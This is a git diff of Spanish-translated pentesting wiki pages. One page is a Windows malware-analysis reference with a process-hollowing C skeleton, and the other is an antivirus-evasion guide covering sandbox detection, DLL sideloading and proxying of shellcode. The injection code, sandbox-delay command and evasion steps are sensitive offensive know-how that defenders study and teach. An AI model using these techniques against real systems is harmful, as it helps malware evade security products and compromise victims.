| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
### TLS pinning y transporte fragmentado
Muchos loaders envuelven su flujo TCP en `SslStream` y fijan el certificado leaf del servidor contra una copia embebida (certificate pinning). La información/tareas del bot se comprime (p. ej., GZip). Cuando las respuestas superan un umbral (~1 MB), los datos se fragmentan en pequeños fragmentos (p. ej., segmentos de 16 KB) para evitar heurísticas basadas en el tamaño y reducir picos de memoria durante la deserialización.
### Persistencia
| Registro | Archivo | Servicio |
| ---------------- | ------------- | ----------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
| Registro | Archivo | Servicio |
| ----------------- | ------------- | --------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()|
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
### Cifrado
| Nombre |
| ----------------------- |
| WinCrypt |
| CryptAcquireContext() |
| CryptGenKey() |
| CryptDeriveKey() |
| CryptDecrypt() |
| CryptReleaseContext() |
| Nombre |
| --------------------- |
| WinCrypt |
| CryptAcquireContext() |
| CryptGenKey() |
| CryptDeriveKey() |
| CryptDecrypt() |
| CryptReleaseContext() |
### Anti-Análisis/VM
### Anti-análisis/VM
| Nombre de Función | Instrucciones de Ensamblador |
| --------------------------------------------------------- | ------------------------------ |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Verificar si un proceso está en ejecución] | |
| CreateFileW/A \[Verificar si un archivo existe] | |
| Nombre de función | Instrucciones de ensamblador |
| --------------------------------------------------------- | ---------------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Check if a process is running] | |
| CreateFileW/A \[Check if a file exist] | |
### Sigilo
### Emulator API fingerprinting & evasión de sleep
| Nombre | |
Malware suele hacer fingerprinting de emuladores de sandbox buscando las exports virtualizadas de Defender (vistas en el Malware Protection Emulator). Si cualquiera de estos símbolos está presente (escaneo case-insensitive del proceso), la ejecución se retrasa 10–30 minutos y se vuelve a comprobar para consumir tiempo del análisis.
Ejemplos de nombres de API usados como canarios:
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
- familia `VFS_*`: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
Primitiva típica de retardo (user-land):
```cmd
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
```
Control de argumentos
- Los operadores a veces requieren que esté presente un switch de CLI con apariencia benigno antes de ejecutar el payload (p. ej., `/i:--type=renderer` para imitar procesos hijos de Chromium). Si el switch está ausente, el loader sale inmediatamente, dificultando la ejecución naive en sandboxes.
### Stealth
| Nombre | Descripción |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Asignar memoria (empaquetadores) |
| VirtualProtect | Cambiar permisos de memoria (empaquetador otorgando permiso de ejecución a una sección) |
| ReadProcessMemory | Inyección en procesos externos |
| WriteProcessMemoryA/W | Inyección en procesos externos |
| VirtualAlloc | Alloc memory (packers) |
| VirtualProtect | Change memory permission (packer giving execution permission to a section) |
| ReadProcessMemory | Injection into external processes |
| WriteProcessMemoryA/W | Injection into external processes |
| NtWriteVirtualMemory | |
| CreateRemoteThread | Inyección de DLL/proceso... |
| CreateRemoteThread | DLL/Process injection... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
### Ejecución
### Execution
| Nombre de Función |
| ------------------ |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
| Nombre de función |
| ----------------- |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
### Varios
### Misceláneo
- GetAsyncKeyState() -- Registro de teclas
- SetWindowsHookEx -- Registro de teclas
- GetForeGroundWindow -- Obtener el nombre de la ventana en ejecución (o el sitio web de un navegador)
- LoadLibrary() -- Importar biblioteca
- GetProcAddress() -- Importar biblioteca
- GetAsyncKeyState() -- registro de teclas
- SetWindowsHookEx -- registro de teclas
- GetForeGroundWindow -- Obtener el nombre de la ventana activa (o la web abierta en un navegador)
- LoadLibrary() -- Importar librería
- GetProcAddress() -- Obtener la dirección de la función
- CreateToolhelp32Snapshot() -- Listar procesos en ejecución
- GetDC() -- Captura de pantalla
- BitBlt() -- Captura de pantalla
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acceso a Internet
- FindResource(), LoadResource(), LockResource() -- Acceso a recursos del ejecutable
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acceder a Internet
- FindResource(), LoadResource(), LockResource() -- Acceder a recursos del ejecutable
## Técnicas de Malware
## Malware Techniques
### Inyección de DLL
### DLL Injection
Ejecutar una DLL arbitraria dentro de otro proceso
Execute an arbitrary DLL inside another process
1. Localizar el proceso para inyectar la DLL maliciosa: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Abrir el proceso: GetModuleHandle, GetProcAddress, OpenProcess
3. Escribir la ruta a la DLL dentro del proceso: VirtualAllocEx, WriteProcessMemory
4. Crear un hilo en el proceso que cargará la DLL maliciosa: CreateRemoteThread, LoadLibrary
1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess
3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary
Otras funciones a utilizar: NTCreateThreadEx, RtlCreateUserThread
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
### Inyección de DLL Reflectiva
### Reflective DLL Injection
Cargar una DLL maliciosa sin llamar a las llamadas API normales de Windows.\
La DLL se mapea dentro de un proceso, resolverá las direcciones de importación, corregirá las reubicaciones y llamará a la función DllMain.
Load a malicious DLL without calling normal Windows API calls.\
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
### Secuestro de Hilos
### Thread Hijacking
Encontrar un hilo de un proceso y hacer que cargue una DLL maliciosa
Find a thread from a process and make it load a malicious DLL
1. Encontrar un hilo objetivo: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Abrir el hilo: OpenThread
3. Suspender el hilo: SuspendThread
4. Escribir la ruta a la DLL maliciosa dentro del proceso de la víctima: VirtualAllocEx, WriteProcessMemory
5. Reanudar el hilo cargando la biblioteca: ResumeThread
1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Open the thread: OpenThread
3. Suspend the thread: SuspendThread
4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
5. Resume the thread loading the library: ResumeThread
### Inyección PE
### PE Injection
Inyección de Ejecución Portátil: El ejecutable se escribirá en la memoria del proceso de la víctima y se ejecutará desde allí.
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
### Hollowing de Proceso
### Process Hollowing (a.k.a **RunPE**)
`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware. The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place. When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
Typical workflow:
1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet.
```c
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```
2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`.
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – unmap the original image base of the suspended process.
4. **VirtualAllocEx** – reserve RWX memory of `SizeOfImage` inside the remote process.
5. **WriteProcessMemory** – copy the `Headers` first, then iterate over sections copying their raw data.
6. **SetThreadContext** – patch the value of `EAX/RAX` (`RCX` on x64) or `Rip` in the context structure so that `EIP` points to the payload’s `EntryPoint`.
7. **ResumeThread** – the thread continues, executing the attacker-supplied code.
Minimal proof-of-concept (x86) skeleton:
```c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}
```
Notas prácticas observadas en la campaña **DarkCloud Stealer**:
* El loader seleccionó `RegAsm.exe` (parte del .NET Framework) como host – un binario firmado que probablemente no llame la atención.
* El VB6 stealer descifrado (`holographies.exe`) *no* se escribe en disco; solo existe dentro del hollowed process, lo que dificulta la detección estática.
* Las cadenas sensibles (regexes, paths, credenciales de Telegram) están **RC4-encrypted** por cadena y solo se descifran en runtime, complicando aún más el memory scanning.
Ideas de detección:
* Alertar sobre procesos `CREATE_SUSPENDED` que nunca crean ventanas GUI/console antes de que se asigne una región de memoria como **RWX** (raro en código benigno).
* Buscar una secuencia de llamadas `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` entre procesos diferentes.
El malware desmapeará el código legítimo de la memoria del proceso y cargará un binario malicioso
1. Crear un nuevo proceso: CreateProcess
2. Desmapear la memoria: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Escribir el binario malicioso en la memoria del proceso: VirtualAllocEc, WriteProcessMemory
4. Establecer el punto de entrada y ejecutar: SetThreadContext, ResumeThread
## Hooking
- La **SSDT** (**Tabla de Descriptores de Servicio del Sistema**) apunta a funciones del kernel (ntoskrnl.exe) o controlador GUI (win32k.sys) para que los procesos de usuario puedan llamar a estas funciones.
- Un rootkit puede modificar estos punteros a direcciones que controla.
- **IRP** (**Paquetes de Solicitud de I/O**) transmiten piezas de datos de un componente a otro. Casi todo en el kernel utiliza IRPs y cada objeto de dispositivo tiene su propia tabla de funciones que puede ser enganchada: DKOM (Manipulación Directa de Objetos del Kernel).
- La **IAT** (**Tabla de Direcciones de Importación**) es útil para resolver dependencias. Es posible enganchar esta tabla para secuestrar el código que será llamado.
- **EAT** (**Tabla de Direcciones de Exportación**) Hooks. Estos hooks se pueden hacer desde **userland**. El objetivo es enganchar funciones exportadas por DLLs.
- **Inline Hooks**: Este tipo es difícil de lograr. Esto implica modificar el código de las funciones mismas. Tal vez poniendo un salto al principio de estas.
- La **SSDT** (**System Service Descriptor Table**) apunta a funciones del kernel (ntoskrnl.exe) o al driver de GUI (win32k.sys), de modo que los procesos de usuario puedan llamar a estas funciones.
- Un rootkit puede modificar estos pointers hacia direcciones que controla.
- **IRP** (**I/O Request Packets**) transmiten fragmentos de datos de un componente a otro. Casi todo en el kernel usa IRPs y cada device object tiene su propia function table que puede ser hooked: DKOM (Direct Kernel Object Manipulation)
- La **IAT** (**Import Address Table**) es útil para resolver dependencias. Es posible hookear esta tabla para secuestrar el código que será llamado.
- **EAT** (**Export Address Table**) Hooks. Estos hooks pueden hacerse desde **userland**. El objetivo es hookear funciones exportadas por DLLs.
- **Inline Hooks**: Este tipo es difícil de lograr. Implica modificar el código de las funciones en sí. Quizá poniendo un jump al inicio de las mismas.
## Referencias
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}

448
src/windows-hardening/av-bypass.md
View File

@ -1,4 +1,4 @@
# Antivirus (AV) Bypass
# Evasión de Antivirus (AV) Bypass
{{#include ../banners/hacktricks-training.md}}
@ -7,87 +7,87 @@
## Detener Defender
- [defendnot](https://github.com/es3n1n/defendnot): Una herramienta para detener Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener Windows Defender falsificando otro AV.
- [Desactivar Defender si eres admin](basic-powershell-for-pentesters/README.md)
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener Windows Defender simulando otro AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
Actualmente, los AVs usan diferentes métodos para comprobar si un archivo es malicioso o no: static detection, dynamic analysis, y para los EDRs más avanzados, behavioural analysis.
Actualmente, los AVs usan diferentes métodos para comprobar si un archivo es malicioso o no: static detection, dynamic analysis y, para los EDRs más avanzados, behavioural analysis.
### **Static detection**
La static detection se logra marcando cadenas conocidas maliciosas o arrays de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya fueron analizadas y marcadas como maliciosas. Hay un par de formas de sortear este tipo de detección:
La static detection se logra marcando cadenas conocidas o arreglos de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo: file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya han sido analizadas y marcadas como maliciosas. Hay un par de formas de evitar este tipo de detección:
- **Cifrado**
- **Encryption**
Si encriptas el binario, no habrá forma para que el AV detecte tu programa, pero necesitarás algún tipo de loader para desencriptar y ejecutar el programa en memoria.
Si encriptas el binario, no habrá forma para que el AV detecte tu programa, pero necesitarás algún tipo de loader para desencriptar y ejecutar el programa en memory.
- **Ofuscación**
- **Obfuscation**
A veces todo lo que necesitas es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés intentando ofuscar.
A veces todo lo que necesitas es cambiar algunas cadenas en tu binario o script para pasar por alto el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que intentes ofuscar.
- **Herramientas personalizadas**
- **Custom tooling**
Si desarrollas tus propias herramientas, no habrá firmas malas conocidas, pero esto toma mucho tiempo y esfuerzo.
Si desarrollas tus propias herramientas, no habrá firmas conocidas-maliciosas, pero esto lleva mucho tiempo y esfuerzo.
> [!TIP]
> Una buena forma para comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en múltiples segmentos y luego pide a Defender que escanee cada uno individualmente; de esta forma puede decirte exactamente qué cadenas o bytes están siendo marcados en tu binario.
> Una buena forma de comprobar la static detection de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en múltiples segmentos y luego manda a Defender a escanear cada uno individualmente; de esta manera puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Te recomiendo revisar esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion práctica.
Te recomiendo revisar esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion práctica.
### **Dynamic analysis**
La dynamic analysis es cuando el AV ejecuta tu binario en una sandbox y observa actividad maliciosa (por ejemplo, intentar desencriptar y leer las contraseñas del navegador, realizar un minidump de LSASS, etc.). Esta parte puede ser un poco más complicada de afrontar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
La dynamic analysis es cuando el AV ejecuta tu binario en un sandbox y observa actividad maliciosa (por ejemplo: intentar desencriptar y leer las contraseñas del navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más compleja, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
- **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una gran forma de bypass de la dynamic analysis del AV. Los AVs tienen un tiempo muy corto para escanear archivos y no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede distorsionar el análisis de los binarios. El problema es que muchas sandboxes de AVs pueden simplemente saltarse el sleep según cómo esté implementado.
- **Comprobar los recursos de la máquina** Normalmente las Sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB RAM), de otro modo podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo comprobando la temperatura de la CPU o incluso las velocidades del ventilador; no todo estará implementado en la sandbox.
- **Comprobaciones específicas de la máquina** Si quieres apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el que has especificado; si no coincide, puedes hacer que tu programa termine.
- **Sleep before execution** Dependiendo de cómo esté implementado, puede ser una gran forma de evitar la dynamic analysis de los AVs. Los AVs tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede perjudicar el análisis de binarios. El problema es que muchos sandboxes de AV simplemente pueden saltarse el sleep dependiendo de cómo esté implementado.
- **Checking machine's resources** Normalmente los Sandboxes tienen muy pocos recursos para trabajar (por ejemplo < 2GB RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo comprobando la temperatura de la CPU o incluso la velocidad de los ventiladores; no todo estará implementado en el sandbox.
- **Machine-specific checks** Si quieres apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el que especificaste; si no coincide, puedes hacer que tu programa salga.
Resulta que el nombre del equipo de la Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro de la sandbox de Defender, por lo que puedes hacer que tu programa termine.
Resulta que el nombre del equipo del Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fuente: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Algunos otros muy buenos consejos de [@mgeeky](https://twitter.com/mariuszbit) para enfrentarse a Sandboxes
Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) para enfrentarse a los Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Como hemos dicho antes en este post, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías hacerte una pregunta:
Como hemos dicho antes en este post, **public tools** eventualmente **get detected**, así que debes hacerte una pregunta:
Por ejemplo, si quieres volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar otro proyecto menos conocido que también vuelque LSASS?
Por ejemplo, si quieres volcar LSASS, ¿**realmente necesitas usar mimikatz**? ¿O podrías usar otro proyecto menos conocido que también haga el volcado de LSASS?
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, pieza marcada por AVs y EDRs; aunque el proyecto en sí es muy bueno, también es una pesadilla trabajar con él para evadir AVs, así que simplemente busca alternativas para lo que intentas conseguir.
La respuesta correcta probablemente sea lo segundo. Tomando mimikatz como ejemplo, probablemente sea una de las herramientas, si no la más, marcadas por AVs y EDRs; aunque el proyecto en sí es muy bueno, también es una pesadilla trabajar con él para evadir AVs, así que busca alternativas para lo que intentas lograr.
> [!TIP]
> Cuando modifiques tus payloads para evadir, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
> Cuando modifiques tus payloads para evadir detecciones, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo ahí hasta que estés satisfecho con el resultado.
## EXEs vs DLLs
Siempre que sea posible, **prioriza usar DLLs para evasión**, en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, así que es un truco muy simple para evitar detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como DLL, claro).
Siempre que sea posible, **prioriza usar DLLs para la evasión**; en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, así que es un truco muy simple para evitar detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como DLL, claro).
Como podemos ver en esta imagen, un DLL Payload de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de detección de 7/26.
Como podemos ver en esta imagen, un Payload DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparación en antiscan.me de un payload EXE normal de Havoc vs un DLL normal de Havoc</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.
## DLL Sideloading & Proxying
**DLL Sideloading** aprovecha el orden de búsqueda de DLLs usado por el loader posicionando tanto la aplicación víctima como el/los payload(s) maliciosos uno al lado del otro.
**DLL Sideloading** aprovecha el DLL search order usado por el loader posicionando tanto la aplicación víctima como los payload(s) maliciosos uno al lado del otro.
Puedes comprobar programas susceptibles a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
Puedes comprobar programas susceptibles a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente powershell script:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Este comando mostrará la lista de programas susceptibles de DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Te recomiendo encarecidamente que **explores DLL Hijackable/Sideloadable programs por ti mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable conocidos públicamente, podrías ser detectado fácilmente.
Te recomiendo encarecidamente que **explore DLL Hijackable/Sideloadable programs yourself**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas públicamente conocidos como DLL Sideloadable, puedes ser detectado fácilmente.
El hecho de colocar una DLL maliciosa con el nombre que un programa espera cargar no hará que cargue tu payload, ya que el programa espera funciones específicas dentro de esa DLL; para solucionar este problema, usaremos otra técnica llamada **DLL Proxying/Forwarding**.
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar no hará que cargue tu payload, ya que el programa espera funciones específicas dentro de esa DLL; para solucionar este problema, usaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que el programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y permitiendo gestionar la ejecución de tu payload.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y permitiendo manejar la ejecución de tu payload.
Voy a usar el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -98,33 +98,35 @@ Estos son los pasos que seguí:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
El último comando nos dará 2 archivos: una plantilla de código fuente de DLL, y la DLL original renombrada.
El último comando nos dará 2 archivos: una plantilla de código fuente de la DLL y la DLL original renombrada.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Estos son los resultados:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una 0/26 Detection rate en [antiscan.me](https://antiscan.me)! Lo llamaría un éxito.
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección 0/26 en [antiscan.me](https://antiscan.me)! Lo llamaría un éxito.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Yo **recomiendo encarecidamente** que veas [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido con mayor profundidad.
> Recomiendo **encarecidamente** que veas [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más en profundidad sobre lo que hemos discutido.
### Abusing Forwarded Exports (ForwardSideLoading)
### Abusar de Exportaciones reenviadas (ForwardSideLoading)
Los módulos PE de Windows pueden exportar funciones que en realidad son "forwarders": en lugar de apuntar a código, la entrada de exportación contiene una cadena ASCII de la forma `TargetDll.TargetFunc`. Cuando un llamador resuelve la exportación, el cargador de Windows hará:
Los módulos Windows PE pueden exportar funciones que en realidad son "forwarders": en lugar de apuntar a código, la entrada de exportación contiene una cadena ASCII con la forma `TargetDll.TargetFunc`. Cuando un invocador resuelve la exportación, el loader de Windows hará:
- Cargar `TargetDll` si no está ya cargado
- Resolver `TargetFunc` desde él
Comportamientos clave a entender:
Comportamientos clave a tener en cuenta:
- Si `TargetDll` es un KnownDLL, se suministra desde el espacio de nombres protegido KnownDLLs (p. ej., ntdll, kernelbase, ole32).
- Si `TargetDll` no es un KnownDLL, se utiliza el orden normal de búsqueda de DLLs, que incluye el directorio del módulo que está realizando la resolución del forward.
- Si `TargetDll` no es un KnownDLL, se usa el orden normal de búsqueda de DLLs, que incluye el directorio del módulo que realiza la resolución del forward.
Esto permite una primitiva de sideloading indirecta: encuentra un DLL firmado que exporte una función reenviada a un nombre de módulo que no sea KnownDLL, luego coloca ese DLL firmado junto a un DLL controlado por el atacante con el nombre exactamente igual al módulo objetivo reenviado. Cuando se invoca la exportación reenviada, el cargador resuelve el forward y carga tu DLL desde el mismo directorio, ejecutando tu DllMain.
Esto habilita una primitiva de sideloading indirecta: encuentra una DLL firmada que exporte una función reenviada a un nombre de módulo que no sea KnownDLL, luego coloca esa DLL firmada en el mismo directorio junto con una DLL controlada por el atacante con el nombre exacto del módulo objetivo reenviado. Cuando se invoque la exportación reenviada, el loader resuelve el forward y carga tu DLL desde el mismo directorio, ejecutando tu DllMain.
Ejemplo observado en Windows 11:
```
@ -132,12 +134,12 @@ keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` no es un KnownDLL, por lo que se resuelve mediante el orden de búsqueda normal.
PoC (copy-paste):
1) Copiar la DLL del sistema firmada a una carpeta con permisos de escritura
PoC (copiar y pegar):
1) Copia la DLL del sistema firmada en una carpeta escribible
```
